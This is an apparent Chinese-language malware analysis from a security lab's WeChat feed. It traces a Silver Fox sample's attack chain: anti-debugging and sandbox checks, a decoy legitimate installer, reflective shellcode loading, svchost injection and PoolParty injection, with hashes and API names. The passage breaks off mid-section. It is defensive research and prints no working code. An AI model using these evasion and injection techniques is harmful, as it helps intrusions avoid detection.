style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border: 1px solid rgb(133, 157, 229);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 25px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background: linear-gradient(rgb(233, 242, 255), rgb(255, 255, 255));"><div data-autoskip="1" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);background-color: transparent;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;color: rgb(136, 136, 136);">奇安信技术研究院是专注于网络空间安全相关技术的研究机构，聚焦网络空间安全领域基础性或前沿性的研究课题，结合国家和社会的实际需求，开展创新性和实践性的技术研究。共有星图实验室、羲和实验室和天工实验室三大实验室。</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: 宋体;font-size: 10.5pt;"><font face="宋体" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;color: rgb(136, 136, 136);">我们目前正在招聘，工作地点覆盖北京、南京、成都等城市，详情请参见：</span></span></font></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: 宋体;font-size: 10.5pt;"><font face="Calibri" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;color: rgb(136, 136, 136);"><a href="https://research.qianxin.com/recruitment/" target="_blank">https://research.qianxin.com/recruitment/</a></span></span></font></span></p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4dd1091e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489041%26idx%3D1%26sn%3D9b6dd48689cfcc9d1d24ce6b408d3f1a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 26 Jan 2026 14:32:00 +0800</pubDate>
    </item>
    <item>
      <title>【天穹】层层递进，“狐”影随行</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489034&amp;idx=1&amp;sn=1fd45082f29e9207d539a3cd1890edca</link>
      <description>天穹沙箱团队在追踪银狐家族的攻击活动时，发现其最新样本采用了高度复杂且极具迷惑性的攻击链。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-01-22 16:51</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d1d04e75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxphZsO1fmMrL4a3ATdkqvukBKHfWrUYJRRCbNE3icFBZ62bY9DViaQnyw%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>天穹沙箱团队在追踪银狐家族的攻击活动时，发现其最新样本采用了高度复杂且极具迷惑性的攻击链。</p>
  <div data-role="title" data-tools="135编辑器" data-id="167089" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;padding-right: 10px;padding-bottom: 5px;box-sizing:border-box;"><div><p style="font-size: 16px;color: #ffffff;text-align:center;background-color: #6296ff;width: 32px;height: 32px;border-radius: 100%;display: flex;justify-content: center;align-items: center;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">1</span></strong></p></div></div><div><p style="font-size: 16px;color: #1d294b;text-align: center;"><strong data-brushtype="text"><span leaf="">概 述</span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">近期，天穹沙箱团队在追踪银狐家族的攻击活动时，发现其最新样本采用了高度复杂且极具迷惑性的攻击链。该攻击链通过多阶段反调试检测、伪装合法软件安装、内存反射加载等技术，并结合隐蔽的进程注入与DLL侧载（DLL Side-Loading）等手段，以规避安全检测，实现持久驻留于受害者主机。</span></p><div data-role="title" data-tools="135编辑器" data-id="167089" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;padding-right: 10px;padding-bottom: 5px;box-sizing:border-box;"><div><p style="font-size: 16px;color: #ffffff;text-align:center;background-color: #6296ff;width: 32px;height: 32px;border-radius: 100%;display: flex;justify-content: center;align-items: center;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">2</span></strong></p></div></div><div><p style="font-size: 16px;color: #1d294b;text-align: center;"><strong data-brushtype="text"><span leaf="">样本信息</span></strong></p></div></div></div></div><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">样本名： Rar0092_v3.53.278_2xdcey.exe</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">SHA1：50715a3abd66e17654255b7881b035d006dce605</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件类型：EXE</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件大小：127.03 MB</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">家族归属：银狐家族</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">报告链接：(<a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f5a88f0b8dac93bf0a307282ba2c9d86&amp;sk=91675144)" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=f5a88f0b8dac93bf0a307282ba2c9d86&amp;sk=91675144)</a></span></p></li></ul><div data-role="title" data-tools="135编辑器" data-id="167089" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;padding-right: 10px;padding-bottom: 5px;box-sizing:border-box;"><div><p style="font-size: 16px;color: #ffffff;text-align:center;background-color: #6296ff;width: 32px;height: 32px;border-radius: 100%;display: flex;justify-content: center;align-items: center;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title=""><span leaf="">3</span></strong></p></div></div><div><p style="font-size: 16px;color: #1d294b;text-align: center;"><strong data-brushtype="text"><span leaf="">样本分析</span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该样本具备高度隐蔽性，在执行过程中反复侦测运行环境，其执行逻辑具有明显的多层次、复杂化特征。天穹智能化沙箱系统凭借其全链路行为深度建模与动态分析能力，成功完整捕获并解析了该样本从初始释放、伪装执行、多阶段内存加载到最终持久化与 C2 通信的全过程。系统不仅精准识别了其反调试、环境探测、权限提升等规避行为，还完整提取了各阶段解密后的恶意载荷。以下结合沙箱动态分析结果细致分析样本的恶意行径。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2962962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005383" src="https://wechat2rss.xlab.app/img-proxy/?k=f235130e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxltoZ47GMMUmnMkxwfBibZ9qXnGR8Yg3wfuNNDMyibmY9ASPKVlT7ft7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图1 攻击流程</span></center><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1、反调试检测</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">首先，样本运行后先检测自身是否处于调试状态，通过检查 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">PEB-&gt;BeingDebugged</span></code><span leaf=""> 字段识别当前是否被用户态调试器附加调试。</span><span leaf=""><br/></span><span leaf="">接着，调用 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">NtQuerySystemInformation(SystemBasicInformation)</span></code><span leaf=""> 接口获取当前系统基本信息，检测 CPU 核心数量是否满足 &gt;= 3 核，以及物理内存大小是否满足 &gt;= 3G，样本依据上述硬件配置判断是否处于沙箱分析环境。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.25244831338411317" data-s="300,640" data-type="png" data-w="919" type="block" data-imgfileid="100005385" src="https://wechat2rss.xlab.app/img-proxy/?k=141d9a7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxwjwCU1YCXzKBVicCO7GI1Uus3xDTybg6HvibcWIVpICbtBO9dibKodVIg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图2 反调试检测</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当以上检测要求通过后，样本开启真正的恶意能力释放。为保护自身核心代码和逻辑不被轻易窥探，外部函数调用均通过手动查找 LDR 链表获取模块基址，再解析 PE 头获取函数地址，增加函数调用的隐蔽性。</span><span leaf=""><br/></span><span leaf="">这类多层环境感知检查被深度内嵌在代码执行流的关键节点上，形成贯穿始终的对抗屏障，阻碍安全人员的动态调试和静态分析。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2、伪装安装程序</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">环境检测通过后，样本再度检查自身是否具有管理员权限，权限满足后会在 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">C:\\ProgramData</span></code><span leaf=""> 目录下创建随机字符串的目录，并释放多个文件：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">app.exe._ (MD5：f041793908111b5395226bc9ed5e6698)</span></code><br/><code><span leaf="">README.md (MD5：daa5414f94d8f43925efffd79979cf75)</span></code><br/><code><span leaf="">View.dat (MD5：c2db56df94b92d6370c87303d1506f54)</span></code><br/><code><span leaf="">Web.dat (MD5：937ab7f863261a046ba3dd46df7cb270)</span></code><br/><code><span leaf="">åº ç ¨å® .exe (MD5：34f435f15a846ae677f88ea412c074d1)</span></code><br/><code><span leaf="">View.conf (MD5：85fac9d703132b9a28beb11d8ec3d181)</span></code><br/></pre></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2796296296296296" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005379" src="https://wechat2rss.xlab.app/img-proxy/?k=403d44ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxICoy7e1ToddJP8H9YFAgeEsAEhaPw1glXUlfatgLNYMv43HeRFl2Ow%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">图3 创建目录释放文件</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其中 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">åº ç ¨å® .exe (MD5：34f435f15a846ae677f88ea412c074d1)</span></code><span leaf=""> 为腾讯应用宝的可信安装程序，其余文件为样本后续阶段运行的加密 payload。</span><span leaf=""><br/></span><span leaf="">为掩盖程序真实意图，样本在释放恶意文件后，调用 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">WdcRunTaskAsInteractiveUser</span></code><span leaf=""> 接口运行腾讯应用宝安装程序，制造正常操作的假象，欺骗用户。随后，样本隐蔽地拉起 app.exe 进程，进入下一阶段的恶意操作。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.7088791848617176" data-type="png" data-w="687" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005372" src="https://wechat2rss.xlab.app/img-proxy/?k=6600ec40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxB1mZQ22bCBVYjuuGdkwTAy33RGO95oSbeXJQ75TZ4ia0PbVPOMEf0JA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图4 伪装程序</span></center><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3、Payload 加载与执行</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">第一阶段：</span></strong><span leaf=""> View.dat 文件 payload 为 raw 数据，样本通过 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">VirtualAlloc</span></code><span leaf=""> 分配内存，将 payload 解密后写入内存，并调用 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">CreateThread</span></code><span leaf=""> 函数创建线程执行该段 payload。</span><span leaf=""><br/></span><span leaf="">解密后的 payload 是一段具备内存反射加载 PE 文件功能的 shellcode，会加载 raw 数据中夹带的 DLL 文件，并调用其入口函数 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">DllEntryPoint</span></code><span leaf=""> 进入下一阶段逻辑。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.39820359281437123" data-type="png" data-w="1002" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005374" src="https://wechat2rss.xlab.app/img-proxy/?k=3d8933c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxMPHjEDyFSwImCuiaq4Sy7pwjdp7dJaP0kYqGyM9dHvxic7Y9EFGw3Bicg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图5 加载 payload</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">第二阶段：</span></strong><span leaf=""> 内存加载的 DLL 文件注册服务并运行 svchost.exe 进程，并注入其他两个文件中包含的 payload (app.exe._ 和 View.dat)</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.1037037037037037" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005373" src="https://wechat2rss.xlab.app/img-proxy/?k=d4cb78fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96kQYh82ia9wiaTVBdNdY1LoZxT601fVR0nZGicL6qXkiahafMoZyibSDrq5aibYxVL6vDnOTkYVSPFBqibdw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图6 注入 payload</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">值得说明的是，在本阶段执行注入操作时样本会判断运行环境，高版本 Windows 系统将使用 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">PoolParty (泳池派对)</span></strong><span leaf=""> 注入技术。</span><span leaf=""><br/></span><span 